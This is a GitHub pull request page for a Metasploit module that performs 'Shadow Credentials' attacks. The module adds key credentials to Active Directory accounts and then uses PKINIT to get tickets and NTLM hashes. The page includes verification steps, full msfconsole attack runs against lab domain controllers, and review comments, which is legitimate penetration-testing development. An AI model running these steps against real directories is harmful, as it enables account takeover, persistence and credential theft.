Skip to content
New issue

Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.

Already on GitHub? Sign in to your account

Shadow Credentials module #19051

Merged
merged 14 commits into from
Apr 9, 2024

Conversation

smashery
Copy link
Contributor

@smashery smashery commented Apr 4, 2024

This implements Shadow Credentials. Using an account that has write permissions over another (or its own) user account object, you can add a public key credential object to the user account's msDS-KeyCredentialLink property, and then use the existing PKINIT functionality in get_ticket to authenticate as that user.

Verification

List the steps needed to make sure this thing works

  • Create an active directory environment, with a Domain Controller >= Server 2016, with Certificate Services enabled.
  • Set up an account to have write privileges over another account (instructions on how to do this with PowerShell are in the module .md file)
  • Start msfconsole
  • use shadow_credentials
  • `run rhost= username= password=<that user's password> target_user=
  • Use action=list to show all existing credentials (ID and time created are displayed)
  • Use action=add to add a new entry.
  • Use action=remove with setting device_id to a credential ID, and verify that it removes the entry, while keeping all others
  • Use action=flush to remove all existing credential entries
  • Using the certificate file generated by the module, use the get_ticket module to request a TGT (setting cert_file to the created pfx file, and setting username and domain to the victim user's account name)
  • Verify that you can use the TGT to do something (e.g.
  • Check that a default computer account can add a credential to its own account (you'll need to be able to authenticate as that computer account, so perhaps use the samr_computer module to create a new one with a known password, and set the username and password).
  • Use a computer account to add a credential to itself - should succeed.
  • Attempt to use a computer account to add a second credential to itself: verify that this fails with a warning message saying "you might need to remove the existing one"
  • Use the computer account to remove the existing one - should succeed.
  • Then, once again, try adding. This time it should succeed.
  • Try running against an old Domain Controller (< Server 2016). Should fail with an error message saying "needs to be at least Server 2016" (I have run this test below if you don't have access to one)
  • Verify that it gracefully handles permission failed

Demo

Happy path - Change other account

msf6 auxiliary(admin/ldap/shadow_credentials) > run rhosts=20.92.148.129 username=Administrator password=Password123! target_user=cert.account
[*] Running module against 20.92.148.129

[+] Successfully bound to the LDAP server!
[*] Discovering base DN automatically
[*] 20.92.148.129:389 Getting root DSE
[+] 20.92.148.129:389 Discovered base DN: DC=msf,DC=local
[*] Certificate stored at: /home/user/.msf4/loot/20240404141437_default_20.92.148.129_windows.shadowcr_290070.pfx
[+] Successfully updated the msDS-KeyCredentialLink attribute; certificate with device ID 00418fc7-2e63-6ce0-c6dc-788078f6d373
[*] Auxiliary module execution completed

Happy path - Computer self-modify

msf6 auxiliary(admin/ldap/shadow_credentials) > run rhost=20.92.148.129 username=DESKTOP-H971T3AH$ target_user=DESKTOP-H971T3AH$ password=JJ2xSxvop2KERcJu8JMEmzv5sswNZBlV
[*] Running module against 20.92.148.129

[+] Successfully bound to the LDAP server!
[*] Discovering base DN automatically
[*] 20.92.148.129:389 Getting root DSE
[+] 20.92.148.129:389 Discovered base DN: DC=msf,DC=local
[*] Certificate stored at: /home/user/.msf4/loot/20240404141339_default_20.92.148.129_windows.shadowcr_444298.pfx
[+] Successfully updated the msDS-KeyCredentialLink attribute; certificate with device ID 3c64b6bb-322d-2789-5777-d946156d6abf
[*] Auxiliary module execution completed

Failure case - Computer modifying when there's already a value

msf6 auxiliary(admin/ldap/shadow_credentials) > run rhost=20.92.148.129 username=DESKTOP-H971T3AH$ target_user=DESKTOP-H971T3AH$ password=JJ2xSxvop2KERcJu8JMEmzv5sswNZBlV action=list
[*] Running module against 20.92.148.129

[+] Successfully bound to the LDAP server!
[*] Discovering base DN automatically
[*] 20.92.148.129:389 Getting root DSE
[+] 20.92.148.129:389 Discovered base DN: DC=msf,DC=local
[!] By default, computer accounts can only update their key credentials if no value already exists. If there is already a value present, you can remove it, and add your own, but any users relying on the existing credentials will not be able to authenticate until you replace the existing value(s).
[-] Failed to update the msDS-KeyCredentialLink attribute.
[-] Auxiliary aborted due to failure: no-access: The LDAP operation failed due to insufficient access rights.
[*] Auxiliary module execution completed

Failure case - old OS

msf6 auxiliary(admin/ldap/shadow_credentials) > run rhosts=192.168.20.210 username=Administrator password=SomePassword1! target_user=cert.account action=add
[*] Running module against 192.168.20.210

[+] Successfully bound to the LDAP server!
[*] Discovering base DN automatically
[*] 192.168.20.210:389 Getting root DSE
[+] 192.168.20.210:389 Discovered base DN: DC=pod8,DC=lan
[-] Failed to update the msDS-KeyCredentialLink attribute.
[-] Auxiliary aborted due to failure: not-found: The LDAP operation failed because the referenced attribute does not exist. Ensure you are targeting a domain controller running at least Server 2016.
[*] Auxiliary module execution completed

@smcintyre-r7 smcintyre-r7 self-assigned this Apr 4, 2024
@smcintyre-r7 smcintyre-r7 added module docs rn-modules release notes for new or majorly enhanced modules labels Apr 4, 2024
lib/rex/proto/bcrypt_public_key.rb Outdated Show resolved Hide resolved
lib/rex/proto/ms_adts/key_credential.rb Outdated Show resolved Hide resolved
lib/rex/proto/ms_adts/key_credential.rb Outdated Show resolved Hide resolved
lib/rex/proto/ms_adts/key_credential.rb Outdated Show resolved Hide resolved
lib/rex/proto/ms_adts/key_credential_entry_struct.rb Outdated Show resolved Hide resolved
lib/rex/proto/ms_adts/key_credential_struct.rb Outdated Show resolved Hide resolved
modules/auxiliary/admin/ldap/shadow_credentials.rb Outdated Show resolved Hide resolved
Comment on lines 280 to 273
# Convert each byte to a 2-digit hexadecimal string
hex_strings = bytes.bytes.map { |b| b.to_s(16).rjust(2, '0') }

# Arrange the hex strings in the correct order for UUID format
uuid_parts = [
hex_strings[0..3].reverse.join, # First 4 bytes (little-endian)
hex_strings[4..5].reverse.join, # Next 2 bytes (little-endian)
hex_strings[6..7].reverse.join, # Next 2 bytes (little-endian)
hex_strings[8..9].join, # Next 2 bytes (big-endian)
hex_strings[10..15].join # Last 6 bytes (big-endian)
]

# Join the parts with hyphens to form the complete UUID
uuid = uuid_parts.join('-')

return uuid
Copy link
Contributor

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

I think this could be simplified by reusing MsDtypeGuid here.

Suggested change
# Convert each byte to a 2-digit hexadecimal string
hex_strings = bytes.bytes.map { |b| b.to_s(16).rjust(2, '0') }
# Arrange the hex strings in the correct order for UUID format
uuid_parts = [
hex_strings[0..3].reverse.join, # First 4 bytes (little-endian)
hex_strings[4..5].reverse.join, # Next 2 bytes (little-endian)
hex_strings[6..7].reverse.join, # Next 2 bytes (little-endian)
hex_strings[8..9].join, # Next 2 bytes (big-endian)
hex_strings[10..15].join # Last 6 bytes (big-endian)
]
# Join the parts with hyphens to form the complete UUID
uuid = uuid_parts.join('-')
return uuid
Rex::Proto::MsDtyp::MsDtypGuid.new(bytes).to_s

Copy link
Contributor Author

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Was looking for this functionality somewhere - thanks!

Copy link
Contributor

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Was this able to work for you? It doesn't look like it was switched to the MsDtypGuid class.

Copy link
Contributor Author

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

I changed it in the key_credential object itself - it worked well. I did forget to remove this function, though, which was kind of the point. I've amended that. Thanks.

@smcintyre-r7
Copy link
Contributor

Things are looking really good here. I was able to test the module and confirmed it's all working as intended. I just left a few comments requesting a some changes.

Thank you very much for working on this!

@smashery smashery force-pushed the feature/shadow-credentials branch from 67bff47 to 4557de9 Compare April 8, 2024 01:51
@smashery
Copy link
Contributor Author

smashery commented Apr 8, 2024

I've made those changes; although I've now just noticed that the module would have worked without needing to specify a domain at all; so maybe I should put the NTLM default back in for LDAP::Auth. I guess the thing is with these Windows-specific modules, auto should always pick NTLM; so maybe it's not the worst idea to just default to NTLM after all.

Copy link
Contributor

@smcintyre-r7 smcintyre-r7 left a comment

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

I tested this once more and everything seems to be working as intended.

Testing Output
metasploit-framework (S:0 J:0) auxiliary(admin/ldap/shadow_credentials) > list
[*] Running module against 192.168.159.10

[*] Discovering base DN automatically
[+] 192.168.159.10:389 Discovered base DN: DC=msflab,DC=local
[*] Existing credentials:
[*] DeviceID: f97afad6-a14f-c2fe-ecb9-560c37283fa6 - Created 2024-04-05 15:30:37 -0400
[*] DeviceID: f3be1d1f-a2ea-d303-8de1-2e18437894db - Created 2024-04-05 15:30:38 -0400
[*] Auxiliary module execution completed
metasploit-framework (S:0 J:0) auxiliary(admin/ldap/shadow_credentials) > flush 
[*] Running module against 192.168.159.10

[*] Discovering base DN automatically
[+] 192.168.159.10:389 Discovered base DN: DC=msflab,DC=local
[+] Successfully deleted the msDS-KeyCredentialLink attribute.
[*] Auxiliary module execution completed
metasploit-framework (S:0 J:0) auxiliary(admin/ldap/shadow_credentials) > list
[*] Running module against 192.168.159.10

[*] Discovering base DN automatically
[+] 192.168.159.10:389 Discovered base DN: DC=msflab,DC=local
[*] The msDS-KeyCredentialLink field is empty.
[*] Auxiliary module execution completed
metasploit-framework (S:0 J:0) auxiliary(admin/ldap/shadow_credentials) > add
[*] Running module against 192.168.159.10

[*] Discovering base DN automatically
[+] 192.168.159.10:389 Discovered base DN: DC=msflab,DC=local
[*] Certificate stored at: /home/smcintyre/.msf4/loot/20240409100605_default_192.168.159.10_windows.ad.cs_096908.pfx
[+] Successfully updated the msDS-KeyCredentialLink attribute; certificate with device ID e0895153-8f81-98a1-da83-0f8eb813fcfd
[*] Auxiliary module execution completed
metasploit-framework (S:0 J:0) auxiliary(admin/ldap/shadow_credentials) > add
[*] Running module against 192.168.159.10

[*] Discovering base DN automatically
[+] 192.168.159.10:389 Discovered base DN: DC=msflab,DC=local
[*] Certificate stored at: /home/smcintyre/.msf4/loot/20240409100610_default_192.168.159.10_windows.ad.cs_061539.pfx
[+] Successfully updated the msDS-KeyCredentialLink attribute; certificate with device ID 84c8dc39-63dd-f8bd-e462-5ddeb9a10b71
[*] Auxiliary module execution completed
metasploit-framework (S:0 J:0) auxiliary(admin/ldap/shadow_credentials) > list
[*] Running module against 192.168.159.10

[*] Discovering base DN automatically
[+] 192.168.159.10:389 Discovered base DN: DC=msflab,DC=local
[*] Existing credentials:
[*] DeviceID: e0895153-8f81-98a1-da83-0f8eb813fcfd - Created 2024-04-09 10:06:05 -0400
[*] DeviceID: 84c8dc39-63dd-f8bd-e462-5ddeb9a10b71 - Created 2024-04-09 10:06:10 -0400
[*] Auxiliary module execution completed
metasploit-framework (S:0 J:0) auxiliary(admin/ldap/shadow_credentials) > remove DEVICE_ID=84c8dc39-63dd-f8bd-e462-5ddeb9a10b71
[*] Running module against 192.168.159.10

[*] Discovering base DN automatically
[+] 192.168.159.10:389 Discovered base DN: DC=msflab,DC=local
[+] Deleted entry with device ID 84c8dc39-63dd-f8bd-e462-5ddeb9a10b71
[*] Auxiliary module execution completed
metasploit-framework (S:0 J:0) auxiliary(admin/ldap/shadow_credentials) > list
[*] Running module against 192.168.159.10

[*] Discovering base DN automatically
[+] 192.168.159.10:389 Discovered base DN: DC=msflab,DC=local
[*] Existing credentials:
[*] DeviceID: e0895153-8f81-98a1-da83-0f8eb813fcfd - Created 2024-04-09 10:06:05 -0400
[*] Auxiliary module execution completed
metasploit-framework (S:0 J:0) auxiliary(admin/ldap/shadow_credentials) > use kerberos/get_ticket

Matching Modules
================

   #  Name                                 Disclosure Date  Rank    Check  Description
   -  ----                                 ---------------  ----    -----  -----------
   0  auxiliary/admin/kerberos/get_ticket  .                normal  No     Kerberos TGT/TGS Ticket Requester
   1    \_ action: GET_HASH                .                .       .      Request a TGS to recover the NTLM hash
   2    \_ action: GET_TGS                 .                .       .      Request a Ticket-Granting-Service (TGS)
   3    \_ action: GET_TGT                 .                .       .      Request a Ticket-Granting-Ticket (TGT)
   4    \_ AKA: getTGT                     .                .       .      .
   5    \_ AKA: getST                      .                .       .      .


Interact with a module by name or index. For example info 5, use 5 or use auxiliary/admin/kerberos/get_ticket

[*] Using auxiliary/admin/kerberos/get_ticket
metasploit-framework (S:0 J:0) auxiliary(admin/kerberos/get_ticket) > get_hash CERT_FILE=/home/smcintyre/.msf4/loot/20240409100605_default_192.168.159.10_windows.ad.cs_096908.pfx RHOSTS=192.168.159.10 USERNAME=smcintyre
[*] Running module against 192.168.159.10

[-] Auxiliary aborted due to failure: bad-config: Username override provided but no domain override provided (must provide both or neither)
[*] Auxiliary module execution completed
metasploit-framework (S:0 J:0) auxiliary(admin/kerberos/get_ticket) > get_hash CERT_FILE=/home/smcintyre/.msf4/loot/20240409100605_default_192.168.159.10_windows.ad.cs_096908.pfx RHOSTS=192.168.159.10 USERNAME=smcintyre DOMAIN=msflab.local
[*] Running module against 192.168.159.10

[!] Warning: Provided principal and realm ([email protected]) do not match entries in certificate:
[+] 192.168.159.10:88 - Received a valid TGT-Response
[*] 192.168.159.10:88 - TGT MIT Credential Cache ticket saved to /home/smcintyre/.msf4/loot/20240409100718_default_192.168.159.10_mit.kerberos.cca_395364.bin
[*] 192.168.159.10:88 - Getting NTLM hash for [email protected]
[+] 192.168.159.10:88 - Received a valid TGS-Response
[*] 192.168.159.10:88 - TGS MIT Credential Cache ticket saved to /home/smcintyre/.msf4/loot/20240409100718_default_192.168.159.10_mit.kerberos.cca_015371.bin
[+] Found NTLM hash for smcintyre: aad3b435b51404eeaad3b435b51404ee:7facdc498ed1680c4fd1448319a8c04f
[*] Auxiliary module execution completed
metasploit-framework (S:0 J:0) auxiliary(admin/kerberos/get_ticket) 

@smcintyre-r7 smcintyre-r7 merged commit 8f5052f into rapid7:master Apr 9, 2024
34 checks passed
@smcintyre-r7
Copy link
Contributor

Release Notes

This adds a new module to add to, list, flush and delete from the LDAP msDS-KeyCredentialLink attribute which enables user to execute "shadow credential" attacks for persistence and lateral movement.

@smcintyre-r7 smcintyre-r7 mentioned this pull request Apr 11, 2024
12 tasks
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment
Labels
docs module rn-modules release notes for new or majorly enhanced modules
Projects
Archived in project
Development

Successfully merging this pull request may close these issues.

3 participants